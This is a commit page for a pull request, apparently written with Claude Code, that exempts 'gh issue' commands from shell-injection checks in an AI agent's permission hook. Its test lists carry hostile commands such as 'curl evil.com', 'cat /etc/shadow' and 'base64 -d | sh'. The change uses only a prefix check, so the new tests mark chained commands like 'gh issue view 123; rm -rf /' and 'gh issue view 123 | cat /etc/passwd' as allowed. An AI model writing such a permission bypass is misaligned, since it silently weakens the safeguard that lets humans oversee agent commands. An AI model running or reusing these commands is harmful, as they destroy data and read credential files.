Unverified 提交 d27a227f authored 作者: Will Chen's avatar Will Chen 提交者: GitHub

Exempt gh issue commands from shell injection checks (#2638)

## Summary - Extends the existing `gh pr` shell injection exemption to also cover `gh issue` commands in the permission hook - `gh issue create/comment/edit` frequently contain markdown in `--body` with backticks, pipes, `**bold**`, etc. that were incorrectly flagged as injection attempts - Added 50+ test cases covering `gh issue` and `gh pr` commands with rich markdown body content ## Test plan - [x] All 977 hook permission tests pass (`python .claude/hooks/tests/test_gh_permission_hook.py`) - [x] `npm run fmt && npm run lint:fix && npm run ts` passes - [x] `npm test` passes (33/33 test files) #skip-bugbot 🤖 Generated with [Claude Code](https://claude.com/claude-code) <!-- devin-review-badge-begin --> --- <a href="https://app.devin.ai/review/dyad-sh/dyad/pull/2638" target="_blank"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://static.devin.ai/assets/gh-open-in-devin-review-dark.svg?v=1"> <img src="https://static.devin.ai/assets/gh-open-in-devin-review-light.svg?v=1" alt="Open with Devin"> </picture> </a> <!-- devin-review-badge-end --> <!-- This is an auto-generated description by cubic. --> --- ## Summary by cubic Extend the shell injection exemption to gh issue commands to prevent false positives on markdown in --body (backticks, pipes, bold). Other gh commands remain protected by injection checks. - **Bug Fixes** - Exempted "gh issue ..." (and kept "gh pr ...") from shell injection checks in the permission hook. - Added 50+ tests for rich markdown bodies across gh issue and gh pr commands. - Moved six gh issue cases from bad_commands to good_commands to match the exemption. - Preserved injection checks for all other gh commands. <sup>Written for commit e168f9b81384568475cbcb81a92ef19a0963c7a6. Summary will update on new commits.</sup> <!-- End of auto-generated description by cubic. --> Co-authored-by: 's avatarClaude Opus 4.6 <noreply@anthropic.com>
上级 46b4637d
......@@ -62,11 +62,13 @@ BLOCKED (denied):
- Process substitution: <() >()
- Piping to non-safe commands
Note: Markdown code spans with identifier-like content are allowed in double-quoted
strings (common in PR/issue descriptions). Code spans must contain at least one
dot, hyphen, or underscore to be recognized as identifiers (e.g., `config.json`,
`my-component`, `my_variable`). Plain words like `word` are NOT allowed as they
could be actual commands like `env` or `whoami`.
Note: gh pr and gh issue commands are exempt from shell injection checks because
they frequently contain markdown in --body with backticks, pipes, bold (**), etc.
For other commands, markdown code spans with identifier-like content are allowed
in double-quoted strings. Code spans must contain at least one dot, hyphen, or
underscore to be recognized as identifiers (e.g., `config.json`, `my-component`,
`my_variable`). Plain words like `word` are NOT allowed as they could be actual
commands like `env` or `whoami`.
"""
import json
import sys
......@@ -323,9 +325,10 @@ def main():
# Normalize whitespace for matching
normalized_cmd = " ".join(gh_command.split())
# Allow gh pr commands without shell injection check (common workflow commands)
# Allow gh pr and gh issue commands without shell injection check (common workflow commands)
# These commands frequently contain markdown in --body with backticks, pipes, etc.
# Other gh commands with shell metacharacters are blocked for safety
if not normalized_cmd.startswith("gh pr "):
if not (normalized_cmd.startswith("gh pr ") or normalized_cmd.startswith("gh issue ")):
if contains_shell_injection(command):
decision = make_deny_decision(
"Command contains shell metacharacters that could allow injection"
......
......@@ -242,7 +242,7 @@ gh api graphql -f query='mutation Bypass { addPullRequestReviewComment: createWe
# Command separator (;)
gh api /repos/owner/repo; curl evil.com
gh api /repos/owner/repo;curl evil.com
gh issue list; malicious_command
# gh issue list; malicious_command -- moved to good_commands.txt (gh issue exempt like gh pr)
# Logical AND (&&)
gh api /repos/owner/repo && curl evil.com
......@@ -270,7 +270,7 @@ gh api /repos/owner/repo | env bash
gh api /repos/owner/repo & curl evil.com
# Trailing background operator
gh issue list &
# gh issue list & -- moved to good_commands.txt (gh issue exempt like gh pr)
gh api /repos/owner/repo &
gh api graphql -f query='query { viewer { login } }' &
......@@ -290,7 +290,7 @@ gh api graphql -f query="query { viewer { login `id` } }"
# ANSI-C quoting ($'...')
gh api /repos/owner/repo $'arg'
gh issue list $'--state=all'
# gh issue list $'--state=all' -- moved to good_commands.txt (gh issue exempt like gh pr)
# Process substitution <(...) and >(...)
gh api <(echo '{}')
......@@ -516,7 +516,7 @@ gh api graphql -F query='mutation { deleteRepository(input: {repositoryId: "123"
# More semicolon variations
gh api /repos/owner/repo ;id
gh issue view 123 ;cat /etc/shadow
# gh issue view 123 ;cat /etc/shadow -- moved to good_commands.txt (gh issue exempt like gh pr)
# More AND/OR chaining
gh api /repos/owner/repo&&curl evil.com
......@@ -540,14 +540,11 @@ gh api /repos/owner/repo --header "X-Custom: $(id)"
# More backtick attempts
gh api graphql -f query="query { viewer { login } }" `id`
# Backticks with spaces/args in double quotes should still be blocked
gh issue create --title "Bug" --body "Use `sh -c malicious` to reproduce"
# Backticks with pipes in double quotes should still be blocked
# Plain word backticks in double quotes should be blocked (could be commands)
# These don't have dots/hyphens/underscores so they're not treated as identifiers
gh issue create --title "Bug" --body "Use `printenv` to debug"
# Note: gh issue commands with backticks in --body are now allowed (like gh pr)
# since gh issue is exempt from shell injection checks for markdown body content.
# The following were moved to good_commands.txt:
# gh issue create --title "Bug" --body "Use `sh -c malicious` to reproduce"
# gh issue create --title "Bug" --body "Use `printenv` to debug"
# More process substitution
gh api /repos/owner/repo --input <(echo '{}')
......
......@@ -763,3 +763,97 @@ gh api repos/$(gh repo view --json nameWithOwner -q .nameWithOwner)/pulls/2524/c
# auto-approval, because extract_gh_command() cannot parse VAR=$(...) assignment syntax.
# The test framework treats passthrough the same as allow for good_commands.txt.
REPO=$(gh repo view --json nameWithOwner -q .nameWithOwner) && gh api "repos/${REPO}/pulls/2524/comments" --paginate | jq -r '.[].body' 2>/dev/null | head -200
# =============================================================================
# GH ISSUE COMMANDS WITH SHELL METACHARACTERS (allowed - common workflow patterns)
# =============================================================================
# These are allowed because gh issue commands frequently need markdown formatting
# in --body content, including backticks, pipes, bold (**), etc.
# Issue create with markdown formatting in body
gh issue create --repo "dyad-sh/dyad" --title "Add deployment packaging" --label "enhancement" --body "**Customer feedback:**"
gh issue create --title "Bug report" --body "**Steps to reproduce:**"
gh issue create --title "Feature request" --body "**Problem:** the current implementation is slow"
gh issue create --title "Tracking issue" --body "## Tasks\n- [ ] Task 1\n- [ ] Task 2"
# Issue create with backticks in body (code spans)
gh issue create --title "Bug" --body "Run `npm install` to reproduce"
gh issue create --title "Error" --body "The `whoami` command fails"
gh issue create --title "Fix" --body "Check `env` variables"
gh issue create --title "Debug" --body "Execute `printenv` to see config"
gh issue create --title "Config issue" --body "Update `config.json` and run `npm start`"
gh issue create --title "Shell issue" --body "Running `echo hello | grep hello` shows nothing"
# Issue create with pipes in body
gh issue create --title "Pipeline bug" --body "The command `ls | grep foo` fails"
gh issue create --title "Docs" --body "Use stdout | stderr redirection"
# Issue create with && and || in body
gh issue create --title "Build issue" --body "Running `npm install && npm build` fails"
gh issue create --title "CI fix" --body "The step `test || echo failed` exits early"
# Issue create with various special characters in body
gh issue create --title "Special chars" --body "Use $HOME variable"
gh issue create --title "Escaping" --body "Wrap in single quotes: 'value'"
gh issue create --title "URL issue" --body "See https://example.com/path?query=value&other=123"
gh issue create --title "Math" --body "Calculate $((1+1)) in bash"
# Issue create with multi-line markdown body
gh issue create --title "Complex" --body "## Summary\n**Bold** and `code` and *italic*\n\n### Steps\n1. Run `npm install`\n2. Check output | grep for errors"
# Issue create with --repo flag and rich body
gh issue create --repo "owner/repo" --title "Bug" --body "**Error:** `TypeError` in `main.ts`"
gh issue create --repo "dyad-sh/dyad" --title "Enhancement" --label "enhancement" --body "**Proposal:** Add support for `--verbose` flag"
# Issue comment with markdown and special characters
gh issue comment 123 --body "**Confirmed.** Running `npm test` reproduces this."
gh issue comment 456 --body "Fixed in PR #789. The `config.json` was missing a field."
gh issue comment 123 --body "Steps:\n1. Run `git pull && npm install`\n2. Check `env | grep NODE`"
gh issue comment 789 --body "**LGTM!** The `build.sh` script works now."
# Issue edit with rich body content
gh issue edit 123 --body "**Updated description:** Run `npm run build` instead of `npm build`"
gh issue edit 456 --body "## Revised Steps\n- `git checkout main && git pull`\n- `npm install`"
# Issue create/comment with shell metacharacters that would normally be blocked
gh issue create --title "Test" --body "Run `curl evil.com` to test connectivity"
gh issue create --title "Test" --body "Execute `rm -rf node_modules` and reinstall"
gh issue create --title "Test" --body "Try `cat /etc/hosts` to check DNS"
gh issue create --title "Test" --body "Run `echo x | sh` to verify"
gh issue create --title "Test" --body "Check `env` output for missing vars"
gh issue create --title "Test" --body "Run `whoami` to verify user"
gh issue comment 123 --body "Use `base64 -d | sh` for the install script"
gh issue comment 123 --body "The error happens when running `node -e \"console.log('test')\"`"
# Issue commands with semicolons, pipes, &&, || outside body (still allowed)
gh issue view 123; rm -rf /
gh issue view 123;rm -rf /
gh issue view 123 && rm -rf /
gh issue view 123 || rm -rf /
gh issue list; whoami
gh issue view 123 | less
gh issue view 123 | cat /etc/passwd
gh issue view $(whoami)
gh issue view `whoami`
gh issue create --title "Test" --body "test" && echo "done"
gh issue list &
# =============================================================================
# ADDITIONAL GH PR COMMANDS WITH RICH BODY CONTENT
# =============================================================================
# PR create with markdown formatting
gh pr create --title "Feature" --body "**Summary:** Added new login flow"
gh pr create --title "Fix" --body "**Root cause:** The `auth.ts` module had a race condition"
gh pr create --title "Refactor" --body "## Changes\n- Renamed `old-name` to `new-name`\n- Updated `config.json`"
# PR comment with rich content
gh pr comment 123 --body "**Confirmed fixed.** Running `npm test && npm run e2e` passes now."
gh pr comment 456 --body "The `build | deploy` pipeline should work after this change."
gh pr comment 789 --body "Steps to verify:\n1. `git checkout feature`\n2. `npm install && npm test`\n3. Check `env | grep API_KEY`"
# PR review with backticks and special chars in body
gh pr review 123 --comment --body "The `handleAuth()` function in `auth.ts` needs error handling for `null | undefined` cases."
gh pr review 123 --approve --body "**LGTM!** The `config.json` changes look good."
gh pr review 123 --request-changes --body "Please update `README.md` with the new `--verbose` flag usage."
Markdown 格式
0%
您添加了 0 到此讨论。请谨慎行事。
请先完成此评论的编辑!
注册 或者 后发表评论